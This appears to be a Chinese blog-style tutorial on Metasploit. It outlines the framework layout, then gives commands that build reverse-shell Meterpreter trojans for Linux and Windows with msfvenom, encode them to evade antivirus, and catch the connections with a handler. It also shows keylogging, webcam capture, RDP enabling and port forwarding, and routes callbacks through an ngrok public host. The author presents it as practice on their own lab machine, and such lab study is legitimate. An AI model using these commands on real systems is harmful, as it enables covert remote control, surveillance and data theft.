Metasploit开源渗透测试框架世界上使用最广泛的渗透测试工具。基础结构/usr/share/metasploit-framework/lib/rex 处理核心功能socket连接、界面ui、加密等/usr/share/metasploit-framework/lib/msf/core 核心库为模块提供api接口服务/usr/share/metasploit-framework/plugins 第三方插件/usr/share/metasploit-framework/config 配置文件内容/usr/share/metasploit-framework/scripts 脚本目录/usr/share/metasploit-framework/tools 框架自带的工具/usr/share/metasploit-framework/modules/ 包含框架中所有模块Auxiliary 辅助模块Encoders 编码模块 编译 payloadEvasion 规避模块绕过杀毒软件Exploits 漏洞利用模块Nops 空指令 使目标主机缓冲区溢出Payloads 攻击载荷Post 后渗透模块msfconsole木马生成查看所有可用的 payloadmsfvenom-lpayloads msfvenom-lpayloads|grepwindows msfvenom-lpayloads|greplinux生成指定系统的木马查看我用于学习的靶机信息是一台 64 位的 linuxuname-aLinux iZm5e6knj5h0f3rmg5lqyiZ3.10.0-1160.119.1.el7.x86_64#1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux查找可用的 payloadmsfvenom-lpayloads|greplinux/x64选择使用 linux/x64/meterpreter/reverse_tcp查看所有可用使用的编码绕过杀毒软件msfvenom-lencoders|grepx64选择 x64/xor 使用如下命令生成木马msfvenom-plinux/x64/meterpreter/reverse_tcpLHOST你的Kali_IPLPORT4444-felf-oshell.elf其中kali ip 通过ip a命令查看查看生成的文件将木马发送到目标系统因为我们这个是自己测试用的所以直接传上去就行了scpshell.elf root靶机ip地址:/root/在 msf 中开启监听use exploit/multi/handlersetpayload linux/x64/meterpreter/reverse_tcpsetlhost 本机IP地址 run# 开启监听exploit在靶机中运行收到的木马文件chmodx shell.elf ./shell.elf6. 修改 Meterpreter 会话设置background# 切换到后台运行setSessionCommunicationTimeout0# 防止会话超时被杀死setSessionExpirationTimeout0# 会话永不关闭sessions sessionsid# 回到指定会话其他常用命令use-l# 查看所有可用扩展use xx# 使用指定扩展开启目标主机远程桌面服务background use post/windows/manage/enable_rdpsetpassword 密码setusername 用户名setsession session值 rdesktop 目标主机IP地址目录文件download 文件名 upload 文件名cat要查看的文件端口转发portfwdadd-l本地端口 -r目标主机IP地址 -p远程主机端口外接设备keyscan_start webcam_list webcam_snap 摄像头ID免杀规避模块show evasion扫描并利用目标主机漏洞本身不具备漏洞扫描能力可以通过使用第三方插件执行漏洞扫描生成外网木马文件Metasploit在漏洞利用成功后都会获取一个shell该 shell 是 目标主机 向 本机 的反向连接若未将 Metasploit 部署在公网上可以选择正向连接过滤正向连接 payloadmsfvenom-lpayloads|grepbind使用内网穿透工具如Ngrok./ngrok authtoken Authtoken# 生成凭证./ngrok tcp 穿透端口# 查看公网地址msfvenom-pwindows/meterpreter/reverse_tcp-ex86/shikata_ga_nai-i5LHOST8.tcp.ngrok.ioLPORT18589-fexe/root/muma.exe msfconslesetlhost127.0.0.1